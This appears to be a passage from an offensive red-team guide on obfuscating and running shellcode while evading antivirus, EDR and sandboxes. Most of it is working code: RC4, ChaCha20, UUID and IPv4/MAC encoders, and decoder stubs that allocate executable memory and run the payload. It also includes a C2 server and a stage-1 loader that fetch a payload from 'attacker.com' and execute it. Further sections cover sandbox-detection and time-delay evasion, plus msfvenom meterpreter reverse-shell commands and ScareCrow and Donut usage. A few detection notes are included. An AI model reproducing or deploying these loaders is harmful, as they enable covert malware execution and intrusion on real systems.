// rc4_decode.c — Minimal RC4 decoder (no external deps)
#include <windows.h>
#include <string.h>
unsigned char rc4_key[] = {
0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50
};
unsigned int rc4_key_len = 16;
unsigned char shellcode[] = { /* RC4 encrypted bytes */ };
unsigned int shellcode_len = sizeof(shellcode);
void rc4_decrypt(unsigned char* data, unsigned int data_len,
unsigned char* key, unsigned int key_len) {
// KSA
unsigned char S[256];
unsigned int i, j = 0;
for (i = 0; i < 256; i++) S[i] = i;
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key_len]) % 256;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
// PRGA — decrypt in-place
i = j = 0;
for (unsigned int k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp;
data[k] ^= S[(S[i] + S[j]) % 256];
}
}
int main() {
LPVOID mem = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
memcpy(mem, shellcode, shellcode_len);
rc4_decrypt((unsigned char*)mem, shellcode_len, rc4_key, rc4_key_len);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
8.4 RC4 OPSEC Notes
[OPSEC] RC4 advantages:
- Tiny decoder stub (~40 lines C) → small binary footprint
- No external dependencies (no bcrypt.lib)
- Same code encrypts and decrypts (symmetric)
- Very fast (stream cipher, no block padding)
[DETECT] RC4 weaknesses:
- RC4 S-box initialization is recognizable in disassembly
- YARA rules exist for RC4 KSA pattern
- Cryptographically weak (use AES for real secrecy)
- WireShark / Wireshark can identify RC4-encrypted C2 traffic
[EVASION] Improve RC4:
- Rename variables to confuse static analysis
- Inline the RC4 loop (no function call)
- Combine: RC4 decrypt → then XOR with second key
- Use RC4 key derived at runtime (hostname + process name)
9. ChaCha20 Encryption
What it means: ChaCha20 is a modern stream cipher designed by Daniel J. Bernstein. Faster than AES on systems without hardware AES acceleration, cryptographically strong, and no padding needed. Used in TLS 1.3, WireGuard, SSH. Increasingly used in advanced malware.
9.1 ChaCha20 vs AES
| Property | AES-256-CBC | ChaCha20 |
|---|---|---|
| Type | Block cipher | Stream cipher |
| Key size | 32 bytes | 32 bytes |
| Nonce/IV | 16 bytes | 12 bytes (96-bit) |
| Padding | Required (PKCS7) | None needed |
| Speed (no HW) | Slower | Faster |
| Speed (AES-NI) | Faster | Slower |
| YARA detection | Common | Less common |
| Complexity | Medium | Medium |
9.2 ChaCha20 Encoder (Python)
#!/usr/bin/env python3
# chacha20_encode.py — ChaCha20 shellcode encryption
# Install: pip install pycryptodome
from Crypto.Cipher import ChaCha20
import os
def chacha20_encrypt(shellcode: bytes, key: bytes, nonce: bytes) -> bytes:
"""Encrypt shellcode with ChaCha20."""
cipher = ChaCha20.new(key=key, nonce=nonce)
return cipher.encrypt(shellcode)
def chacha20_decrypt(ciphertext: bytes, key: bytes, nonce: bytes) -> bytes:
"""Decrypt ChaCha20 ciphertext."""
cipher = ChaCha20.new(key=key, nonce=nonce)
return cipher.decrypt(ciphertext)
# ─── Configuration ───────────────────────────────────────────
KEY = os.urandom(32) # 32-byte key
NONCE = os.urandom(12) # 12-byte nonce (ChaCha20 nonce size)
with open("payload.bin", "rb") as f:
shellcode = f.read()
# ─────────────────────────────────────────────────────────────
encrypted = chacha20_encrypt(shellcode, KEY, NONCE)
decrypted = chacha20_decrypt(encrypted, KEY, NONCE)
assert decrypted == shellcode, "ChaCha20 round-trip failed!"
print(f"[*] Key (32 bytes): {KEY.hex()}")
print(f"[*] Nonce (12 bytes): {NONCE.hex()}")
print(f"[*] Original size: {len(shellcode)} bytes")
print(f"[*] Encrypted size: {len(encrypted)} bytes (same — no padding!)")
print(f"[+] Round-trip verified")
print()
print(f"unsigned char chacha_key[] = {{ {', '.join(f'0x{b:02x}' for b in KEY)} }};")
print(f"unsigned char chacha_nonce[] = {{ {', '.join(f'0x{b:02x}' for b in NONCE)} }};")
print(f"unsigned char shellcode[] = {{")
for i in range(0, len(encrypted), 12):
chunk = encrypted[i:i+12]
print(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
print("};")
print(f"unsigned int shellcode_len = {len(encrypted)};")
9.3 ChaCha20 Decoder Stub (C — Minimal)
// chacha20_decode.c — Standalone ChaCha20 implementation (no deps)
// Reference: https://cr.yp.to/chacha/chacha-20080128.pdf
#include <windows.h>
#include <stdint.h>
#include <string.h>
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
static void chacha20_quarter_round(uint32_t* a, uint32_t* b,
uint32_t* c, uint32_t* d) {
*a += *b; *d ^= *a; *d = ROTL32(*d, 16);
*c += *d; *b ^= *c; *b = ROTL32(*b, 12);
*a += *b; *d ^= *a; *d = ROTL32(*d, 8);
*c += *d; *b ^= *c; *b = ROTL32(*b, 7);
}
void chacha20_block(uint32_t out[16], uint32_t in[16]) {
uint32_t x[16];
memcpy(x, in, 64);
for (int i = 0; i < 10; i++) { // 20 rounds = 10 double-rounds
// Column rounds
chacha20_quarter_round(&x[0],&x[4],&x[8], &x[12]);
chacha20_quarter_round(&x[1],&x[5],&x[9], &x[13]);
chacha20_quarter_round(&x[2],&x[6],&x[10],&x[14]);
chacha20_quarter_round(&x[3],&x[7],&x[11],&x[15]);
// Diagonal rounds
chacha20_quarter_round(&x[0],&x[5],&x[10],&x[15]);
chacha20_quarter_round(&x[1],&x[6],&x[11],&x[12]);
chacha20_quarter_round(&x[2],&x[7],&x[8], &x[13]);
chacha20_quarter_round(&x[3],&x[4],&x[9], &x[14]);
}
for (int i = 0; i < 16; i++) out[i] = x[i] + in[i];
}
void chacha20_decrypt(unsigned char* data, unsigned int len,
unsigned char* key, unsigned char* nonce) {
uint32_t state[16];
// Constants "expand 32-byte k"
state[0] = 0x61707865; state[1] = 0x3320646e;
state[2] = 0x79622d32; state[3] = 0x6b206574;
// Key (32 bytes = 8 uint32_t)
for (int i = 0; i < 8; i++)
state[4+i] = ((uint32_t*)key)[i];
state[12] = 0; // Counter
// Nonce (12 bytes = 3 uint32_t, 96-bit)
for (int i = 0; i < 3; i++)
state[13+i] = ((uint32_t*)nonce)[i];
for (unsigned int pos = 0; pos < len; pos += 64) {
uint32_t block[16];
chacha20_block(block, state);
state[12]++; // Increment counter
unsigned int chunk = (len - pos < 64) ? (len - pos) : 64;
for (unsigned int i = 0; i < chunk; i++)
data[pos + i] ^= ((unsigned char*)block)[i];
}
}
// ─── Key and nonce (from Python encoder) ───────────────────
unsigned char chacha_key[] = { /* 32 bytes */ };
unsigned char chacha_nonce[] = { /* 12 bytes */ };
unsigned char shellcode[] = { /* encrypted bytes */ };
unsigned int shellcode_len = sizeof(shellcode);
int main() {
LPVOID mem = VirtualAlloc(NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
memcpy(mem, shellcode, shellcode_len);
chacha20_decrypt((unsigned char*)mem, shellcode_len,
chacha_key, chacha_nonce);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
10. UUID Shellcode Encoding
What it means: Disguise shellcode as a list of Globally Unique Identifiers (GUIDs/UUIDs). Each UUID is 16 bytes (128 bits), and shellcode bytes are packed into UUID format strings. To the static scanner, the payload looks like a list of random GUIDs rather than shellcode. This is a known red team technique popularized by Bobby Cooke.
10.1 UUID Format
UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Breakdown:
Group 1: 4 bytes (8 hex chars)
Group 2: 2 bytes (4 hex chars)
Group 3: 2 bytes (4 hex chars)
Group 4: 2 bytes (4 hex chars)
Group 5: 6 bytes (12 hex chars)
Total: 16 bytes per UUID
Shellcode packing:
bytes[0:4] → Group 1 (little-endian DWORD)
bytes[4:6] → Group 2 (little-endian WORD)
bytes[6:8] → Group 3 (little-endian WORD)
bytes[8:10] → Group 4 (big-endian WORD)
bytes[10:16]→ Group 5 (big-endian 6 bytes)
10.2 UUID Shellcode Encoder (Python)
#!/usr/bin/env python3
# uuid_encode.py — Encode shellcode as UUID list
import uuid
import struct
def bytes_to_uuid(chunk: bytes) -> str:
"""Pack 16 bytes into UUID string format."""
assert len(chunk) == 16
# UuidFromStringA expects specific byte ordering
# Groups 1-3: little-endian, Groups 4-5: big-endian
p1 = struct.unpack_from('<I', chunk, 0)[0] # 4 bytes LE
p2 = struct.unpack_from('<H', chunk, 4)[0] # 2 bytes LE
p3 = struct.unpack_from('<H', chunk, 6)[0] # 2 bytes LE
p4 = chunk[8:10].hex() # 2 bytes BE
p5 = chunk[10:16].hex() # 6 bytes BE
return f"{p1:08x}-{p2:04x}-{p3:04x}-{p4}-{p5}"
def uuid_to_bytes(uuid_str: str) -> bytes:
"""Unpack UUID string back to 16 bytes."""
parts = uuid_str.replace('-', '')
# Reverse LE parts
raw = bytes.fromhex(parts)
p1 = struct.pack('>I', struct.unpack('<I', raw[0:4])[0])
p2 = struct.pack('>H', struct.unpack('<H', raw[4:6])[0])
p3 = struct.pack('>H', struct.unpack('<H', raw[6:8])[0])
return p1 + p2 + p3 + raw[8:]
def encode_as_uuids(shellcode: bytes) -> list:
"""Encode shellcode as list of UUID strings. Pad if needed."""
# Pad to multiple of 16
pad_len = (16 - len(shellcode) % 16) % 16
padded = shellcode + b'\x00' * pad_len
uuids = []
for i in range(0, len(padded), 16):
chunk = padded[i:i+16]
uuids.append(bytes_to_uuid(chunk))
return uuids
with open("payload.bin", "rb") as f:
shellcode = f.read()
uuids = encode_as_uuids(shellcode)
print(f"[*] Shellcode: {len(shellcode)} bytes → {len(uuids)} UUIDs")
print()
# Output as C array
print('const char* uuids[] = {')
for u in uuids:
print(f' "{u}",')
print('};')
print(f'int uuid_count = {len(uuids)};')
print()
# Show sample UUIDs
print("[*] Sample UUIDs (looks like GUID data):")
for u in uuids[:5]:
print(f" {u}")
10.3 UUID Decoder Stub (C)
// uuid_decode.c — Decode UUID list → shellcode → execute
// Uses UuidFromStringA to convert UUID strings to bytes
#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")
// From Python encoder output — looks like innocent GUID list
const char* uuids[] = {
"e48148fc-00c0-0000-4151-4150524833",
"d2314865-4865-528b-4808-b78b4818488b",
// ... rest of UUIDs ...
};
int uuid_count = 42; // (shellcode_len / 16)
int main() {
// Allocate RWX memory for decoded shellcode
LPVOID mem = VirtualAlloc(NULL, uuid_count * 16,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
// Decode each UUID → 16 bytes into memory
unsigned char* ptr = (unsigned char*)mem;
for (int i = 0; i < uuid_count; i++) {
// UuidFromStringA converts UUID string to 16-byte binary
if (UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr) != RPC_S_OK) {
return 1;
}
ptr += 16; // Advance 16 bytes per UUID
}
// Execute decoded shellcode
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
10.4 UUID OPSEC Notes
[EVASION] UUID technique advantages:
- Shellcode stored as strings, not byte arrays
- Looks like GUID/UUID data (common in Windows internals)
- Defeats simple hex/byte pattern matching
- UuidFromStringA is a legitimate Windows RPC function
[DETECT] UUID detection signatures:
- Large array of UUID-format strings in a binary is suspicious
- UuidFromStringA called in a loop → red flag for behavioral EDR
- Memory region (RWX) filled via UUID parsing
- YARA rules: look for UUID string arrays + UuidFromStringA
[OPSEC] Improve UUID encoding:
- Combine with XOR: XOR shellcode first, then UUID-encode
- Store UUIDs in PE resource section (resource data)
- Deliver UUIDs via HTTP response, not hardcoded
- Mix real GUIDs with payload GUIDs (camouflage)
11. IPv4/MAC Address Encoding
What it means: Encode shellcode as fake IPv4 addresses (4 bytes per IP) or MAC addresses (6 bytes per MAC). Legitimate-looking network data in your binary. Similar spirit to UUID encoding but with smaller chunks.
11.1 IPv4 Encoding (Python)
#!/usr/bin/env python3
# ipv4_encode.py — Encode shellcode as fake IPv4 addresses
import socket
import struct
def encode_as_ipv4(shellcode: bytes) -> list:
"""Encode shellcode as list of IPv4 address strings (4 bytes each)."""
# Pad to multiple of 4
pad_len = (4 - len(shellcode) % 4) % 4
padded = shellcode + b'\x00' * pad_len
ips = []
for i in range(0, len(padded), 4):
chunk = padded[i:i+4]
# Convert 4 bytes to IP string (big-endian)
ip = socket.inet_ntoa(chunk)
ips.append(ip)
return ips
def decode_from_ipv4(ips: list) -> bytes:
"""Decode list of IPv4 strings back to bytes."""
result = bytearray()
for ip in ips:
result.extend(socket.inet_aton(ip))
return bytes(result)
with open("payload.bin", "rb") as f:
shellcode = f.read()
ips = encode_as_ipv4(shellcode)
print(f"[*] Shellcode: {len(shellcode)} bytes → {len(ips)} IPv4 addresses")
print()
print('const char* ip_list[] = {')
for ip in ips:
print(f' "{ip}",')
print('};')
print(f'int ip_count = {len(ips)};')
print()
print("[*] Sample IPs (looks like network data):")
for ip in ips[:5]:
print(f" {ip}")
# Verify
recovered = decode_from_ipv4(ips)
assert recovered[:len(shellcode)] == shellcode, "IPv4 round-trip failed!"
print("[+] Round-trip verified")
11.2 IPv4 Decoder Stub (C)
// ipv4_decode.c — Decode IPv4 list → shellcode
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
const char* ip_list[] = {
"252.72.131.228",
"240.232.192.0",
// ...
};
int ip_count = 128;
int main() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
LPVOID mem = VirtualAlloc(NULL, ip_count * 4,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return 1;
unsigned char* ptr = (unsigned char*)mem;
for (int i = 0; i < ip_count; i++) {
struct in_addr addr;
inet_pton(AF_INET, ip_list[i], &addr); // IP string → 4 bytes
memcpy(ptr, &addr.s_addr, 4);
ptr += 4;
}
WSACleanup();
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
11.3 MAC Address Encoding (Python)
#!/usr/bin/env python3
# mac_encode.py — Encode shellcode as fake MAC addresses (6 bytes each)
def encode_as_mac(shellcode: bytes) -> list:
"""Encode shellcode as list of MAC address strings."""
pad_len = (6 - len(shellcode) % 6) % 6
padded = shellcode + b'\x00' * pad_len
macs = []
for i in range(0, len(padded), 6):
chunk = padded[i:i+6]
mac = ':'.join(f'{b:02x}' for b in chunk)
macs.append(mac)
return macs
def decode_from_mac(macs: list) -> bytes:
"""Decode list of MAC strings back to bytes."""
result = bytearray()
for mac in macs:
parts = mac.split(':')
result.extend(bytes(int(p, 16) for p in parts))
return bytes(result)
with open("payload.bin", "rb") as f:
shellcode = f.read()
macs = encode_as_mac(shellcode)
print(f"[*] Shellcode: {len(shellcode)} bytes → {len(macs)} MAC addresses")
print()
for mac in macs[:5]:
print(f" {mac}")
print(" ...")
recovered = decode_from_mac(macs)
assert recovered[:len(shellcode)] == shellcode
print("\n[+] Round-trip verified")
12. Staged vs Stageless — Encryption Context
What it means: How you deliver the encrypted shellcode affects your encryption strategy significantly. Stageless means the shellcode is embedded in the loader binary. Staged means the loader fetches shellcode at runtime (after beacon callback).
12.1 Stageless Loader
Stageless:
[loader.exe]
├─ Compiled with shellcode inside PE
├─ PE resource section: encrypted_shellcode.bin
├─ Decryption key: hardcoded (or derived)
└─ Flow:
loader runs → decrypt shellcode → execute
Pros:
✅ Single file delivery (no network needed)
✅ Works in air-gapped environments
✅ Simpler (no C2 callback for stage 1)
Cons:
❌ Key is in binary (can be extracted)
❌ Shellcode is in binary (can be extracted + decrypted)
❌ Larger binary size
❌ AV can find encrypted blob by entropy analysis
12.2 Staged Loader
Staged:
[stage1.exe — tiny dropper]
├─ No shellcode inside
├─ Beacons to C2: "give me shellcode"
├─ C2 responds with encrypted shellcode
├─ Decrypts using key from C2 response header
└─ Executes
Pros:
✅ No shellcode in binary (can't extract it)
✅ Key can be delivered separately → never on disk
✅ C2 can change shellcode per-host dynamically
✅ Harder to reverse (nothing to reverse in stage1)
Cons:
❌ Requires network access
❌ C2 URL must be in binary (or derived)
❌ Network traffic is detectable
12.3 Recommended Layered Strategy
Stageless (max stealth):
Shellcode → XOR-encode (remove sigs) → AES-256 encrypt (strong) → store in PE resource
Key → derive from environment (not hardcoded) → see §13
Staged (red team ops):
Stage1 loader → connects to C2 → receives [AES-IV + AES-encrypted shellcode]
Stage1 has only: C2 URL + AES key OR derives key dynamically
Decrypts and executes entirely in memory
Pipeline:
msfvenom / Havoc generate raw .bin
↓
Python: XOR(key1) → AES-256-CBC(key2, iv) → Base64
↓
C2 serves Base64 over HTTPS
↓
Loader: Base64 decode → AES decrypt → XOR decode → VirtualAlloc → execute
13. Key Storage & Retrieval Strategies
What it means: Encryption is only as strong as the key management. A hardcoded key in the binary is extractable — AV sandboxes, reverse engineers, and memory dumps expose it. Advanced approaches derive or fetch the key at runtime.
13.1 Strategy Comparison
| Strategy | Security | Complexity | Works Offline | Evasion |
|---|---|---|---|---|
| Hardcoded key | Low | Trivial | Yes | Low |
| Key in PE resource | Low | Easy | Yes | Low |
| Environment-derived key | Medium | Medium | Yes | Medium |
| Key fetched from C2 | High | High | No | High |
| Key split + reassembled | Medium-High | Medium | Yes | High |
| DPAPI-derived key | High | Medium | Yes | High |
13.2 Environment-Derived Key (Python + C)
#!/usr/bin/env python3
# env_derived_key.py — Derive AES key from environment
import hashlib
import socket
import os
import subprocess
def derive_key_from_env() -> bytes:
"""
Derive AES key from environment properties.
Key is different on each machine — won't work in sandbox.
"""
components = []
# Hostname
components.append(socket.gethostname().lower())
# Username
components.append(os.environ.get("USERNAME", "").lower())
# Domain
components.append(os.environ.get("USERDOMAIN", "").lower())
# Machine SID prefix (first 3 components)
try:
sid = subprocess.check_output(
["wmic", "useraccount", "where", f"name='{os.environ.get('USERNAME')}'",
"get", "sid"],
stderr=subprocess.DEVNULL
).decode().strip().split("\n")[-1].strip()
# Take first 3 SID parts: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
sid_parts = sid.split("-")[:6]
components.append("-".join(sid_parts))
except:
pass
# Concatenate and hash → 32-byte AES-256 key
combined = "|".join(components).encode("utf-8")
key = hashlib.sha256(combined).digest()
return key
# Usage:
key = derive_key_from_env()
print(f"[*] Derived key: {key.hex()}")
print(f"[*] Key is machine-specific — sandbox won't match!")
// env_key.c — C equivalent — derive key at runtime
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
void sha256(const unsigned char* data, size_t len, unsigned char* out) {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_HASH_HANDLE hHash;
DWORD cbHash = 0, cbData = 0, cbHashObject = 0;
PBYTE pbHashObject = NULL;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0);
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&cbHashObject, sizeof(DWORD), &cbData, 0);
BCryptGetProperty(hAlg, BCRYPT_HASH_LENGTH,
(PBYTE)&cbHash, sizeof(DWORD), &cbData, 0);
pbHashObject = HeapAlloc(GetProcessHeap(), 0, cbHashObject);
BCryptCreateHash(hAlg, &hHash, pbHashObject, cbHashObject, NULL, 0, 0);
BCryptHashData(hHash, (PBYTE)data, (ULONG)len, 0);
BCryptFinishHash(hHash, out, cbHash, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hAlg, 0);
HeapFree(GetProcessHeap(), 0, pbHashObject);
}
void derive_key(unsigned char key[32]) {
char hostname[256] = {0};
char username[256] = {0};
char combined[1024] = {0};
DWORD size = 256;
GetComputerNameA(hostname, &size);
size = 256;
GetUserNameA(username, &size);
// Lowercase
CharLowerA(hostname);
CharLowerA(username);
// Concatenate: "hostname|username"
snprintf(combined, sizeof(combined), "%s|%s", hostname, username);
sha256((unsigned char*)combined, strlen(combined), key);
}
// Usage in loader:
// unsigned char aes_key[32];
// derive_key(aes_key);
// aes_decrypt_cng(enc_shellcode, enc_len, aes_key, 32, aes_iv, 16, &shellcode, &shellcode_len);
13.3 Key Fetched from C2 at Runtime
# Python C2 server side: serve key + encrypted shellcode
# c2_serve.py
from http.server import HTTPServer, BaseHTTPRequestHandler
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, base64
KEY = os.urandom(32)
IV = os.urandom(16)
with open("payload.bin", "rb") as f:
shellcode = f.read()
cipher = AES.new(KEY, AES.MODE_CBC, IV)
encrypted = cipher.encrypt(pad(shellcode, 16))
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/stage":
# Send: [32-byte key][16-byte IV][encrypted shellcode]
response = KEY + IV + encrypted
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
else:
self.send_response(404)
self.end_headers()
def log_message(self, *args):
pass # Suppress logs
print(f"[*] C2 listening on :8443")
print(f"[*] Key: {KEY.hex()}")
print(f"[*] IV: {IV.hex()}")
HTTPServer(("0.0.0.0", 8443), Handler).serve_forever()
// stage1_loader.c — Fetch key + shellcode from C2, decrypt, execute
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "bcrypt.lib")
// Returns heap-allocated buffer with C2 response
BOOL fetch_stage(const wchar_t* host, INTERNET_PORT port,
const wchar_t* path, BYTE** out, DWORD* out_len) {
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
DWORD available = 0, downloaded = 0, total = 0;
*out = NULL;
do {
WinHttpQueryDataAvailable(hRequest, &available);
BYTE* tmp = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, *out, total + available);
*out = tmp;
WinHttpReadData(hRequest, *out + total, available, &downloaded);
total += downloaded;
} while (available > 0);
*out_len = total;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return TRUE;
}
int main() {
BYTE* data = NULL;
DWORD data_len = 0;
// Fetch [key(32)][IV(16)][ciphertext]
fetch_stage(L"attacker.com", 8443, L"/stage", &data, &data_len);
BYTE* key = data; // First 32 bytes
BYTE* iv = data + 32; // Next 16 bytes
BYTE* ciphertext = data + 48; // Rest = encrypted shellcode
DWORD ct_len = data_len - 48;
// Decrypt (use aes_decrypt_cng from §7.3)
BYTE* shellcode = NULL;
DWORD sc_len = 0;
aes_decrypt_cng(ciphertext, ct_len, key, 32, iv, 16, &shellcode, &sc_len);
HeapFree(GetProcessHeap(), 0, data);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)shellcode,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
14. Runtime Decryption Stubs
What it means: The decryption stub is the small piece of code that decrypts your shellcode at runtime. The stub itself must be clean (not detected), short (low footprint), and execute before any EDR hooks have a chance to scan the decrypted result.
14.1 Stub Placement Strategies
Strategy 1 — In-place decryption (common):
[encrypted shellcode] in memory
Decrypt in-place using same buffer
Execute from same buffer
Strategy 2 — Separate buffer decryption:
[encrypted shellcode] in .data section
Allocate new RWX buffer
Decrypt FROM .data TO new buffer
Execute from new buffer
Advantage: .data stays as ciphertext (forensics)
Strategy 3 — Staged decryption (layers):
Outer XOR decode → partially decrypted
Inner AES decrypt → fully decrypted
Execute
Each layer uses a different key source
Strategy 4 — Decryption at callback:
Shellcode encrypted in PE resource
Triggered by specific condition (time, network, keypress)
Decrypt only when condition met → sandbox evasion
14.2 Conditional Decryption (Sandbox Evasion)
// conditional_decrypt.c — Only decrypt if NOT in sandbox
#include <windows.h>
#include <stdio.h>
#include <time.h>
BOOL is_sandbox() {
// Check 1: CPU core count (sandboxes often have 1-2 cores)
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
if (sysinfo.dwNumberOfProcessors < 4) return TRUE;
// Check 2: Physical memory < 4GB (sandboxes are memory-limited)
MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
if (memStatus.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) return TRUE;
// Check 3: Sleep acceleration (sandboxes speed up sleep calls)
DWORD before = GetTickCount();
Sleep(1500); // Sleep 1.5 seconds
DWORD after = GetTickCount();
DWORD elapsed = after - before;
// If sleep returned in < 1000ms → sandbox accelerating time
if (elapsed < 1000) return TRUE;
// Check 4: Username is common sandbox username
char username[256] = {0};
DWORD size = 256;
GetUserNameA(username, &size);
CharLowerA(username);
const char* sandbox_users[] = {"sandbox", "malware", "virus", "john",
"test", "admin", "user", NULL};
for (int i = 0; sandbox_users[i]; i++) {
if (strstr(username, sandbox_users[i])) return TRUE;
}
return FALSE; // Looks like a real host
}
int main() {
if (is_sandbox()) {
// Appear benign — do something innocent
MessageBoxA(NULL, "Error: Application failed to start.", "Error", MB_OK);
return 1;
}
// Not a sandbox — proceed with decryption and execution
// ... decrypt + execute shellcode ...
return 0;
}
14.3 Time-Delay Decryption
// time_decrypt.c — Decrypt shellcode only after specific delay
// Evades sandboxes with limited analysis time (usually 2-5 minutes)
#include <windows.h>
#include <time.h>
BOOL wait_and_check(int delay_seconds) {
time_t start = time(NULL);
// Busy-wait with memory operations (harder to fast-forward)
volatile long long counter = 0;
long long target = (long long)delay_seconds * 500000000LL;
while (counter < target) {
counter++;
}
time_t elapsed = time(NULL) - start;
return (elapsed >= delay_seconds); // Verify real time passed
}
int main() {
// Wait 60 seconds — sandbox analysis usually times out at 30-120 sec
if (!wait_and_check(60)) {
return 0; // Time check failed → sandbox accelerated time
}
// Time passed legitimately → decrypt and execute
// ... decryption code ...
return 0;
}
15. Tools Reference
15.1 msfvenom — Payload Generation + Encoding
# [TOOL] Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o payload.bin
# Generate with built-in XOR encoding (shikata_ga_nai — x86 only)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f raw -o encoded.bin
# -e: encoder name
# -i: iterations (encode 5 times)
# Generate C array output (embed directly in code)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f c -o shellcode.c
# List available encoders
msfvenom --list encoders
# List available payload formats
msfvenom --list formats
# Generate for specific format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f ps1 -o loader.ps1 # PowerShell
-f py -o loader.py # Python
-f hex -o payload.hex # Hex string
15.2 ScareCrow — Automated Evasive Shellcode
# [TOOL] ScareCrow — automated encoding + obfuscation
# GitHub: https://github.com/Tylous/Scarecrow
# Install
git clone https://github.com/Tylous/Scarecrow
cd Scarecrow
go build .
# Generate DLL loader from raw shellcode
./ScareCrow -I payload.bin -Loader dll -domain microsoft.com
# Generate binary with process injection
./ScareCrow -I payload.bin -Loader binary -domain apple.com
# Generate with ETW patching + AMSI bypass built-in
./ScareCrow -I payload.bin -Loader dll \
-domain google.com \
-encryptionmode XOR
# Options:
# -I Input shellcode (.bin)
# -Loader Output type: dll, binary, control
# -domain Fake certificate domain (for code signing spoof)
# -encryptionmode XOR | AES | AES + XOR
# -sandbox Enable sandbox detection
15.3 Donut — PE to Shellcode + Encryption
# [TOOL] Donut — convert PE to shellcode with encryption
# GitHub: https://github.com/TheWover/donut
# Install
git clone https://github.com/TheWover/donut
cd donut && make
# Basic PE → shellcode
donut -i Certify.exe -o certify.bin
# With AES encryption (donut handles key embedding)
donut -i beacon.dll -o beacon.bin -e 2
# -e 2 = AES encryption (default: no encryption)
# -e 1 = aPLib compression
# -e 3 = Deflate compression
# Specify output format
donut -i payload.exe -o payload.bin -f 1 # raw binary
donut -i payload.exe -o payload.h -f 4 # C header
donut -i payload.exe -o payload.py -f 8 # Python bytes
# For DLL with specific export
donut -i evil.dll -o evil.bin -n DllMain
# Full options:
donut --help
15.4 Python Cryptography Tools
# [TOOL] Install required Python crypto libraries
# pycryptodome (AES, RC4, ChaCha20)
pip install pycryptodome
# cryptography (modern, OpenSSL-backed)
pip install cryptography
# PyCryptodome is the drop-in pycrypto replacement:
from Crypto.Cipher import AES, ChaCha20
from Crypto.Util.Padding import pad, unpad
import os
# cryptography library (alternative):
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
15.5 VirusTotal Evasion Testing
# [TOOL] Check detection rate — but be careful:
# Uploading to VT shares your payload with AV vendors
# Safer: test offline with individual AV scanners
# Use ThreatCheck to find what exact bytes trigger detection
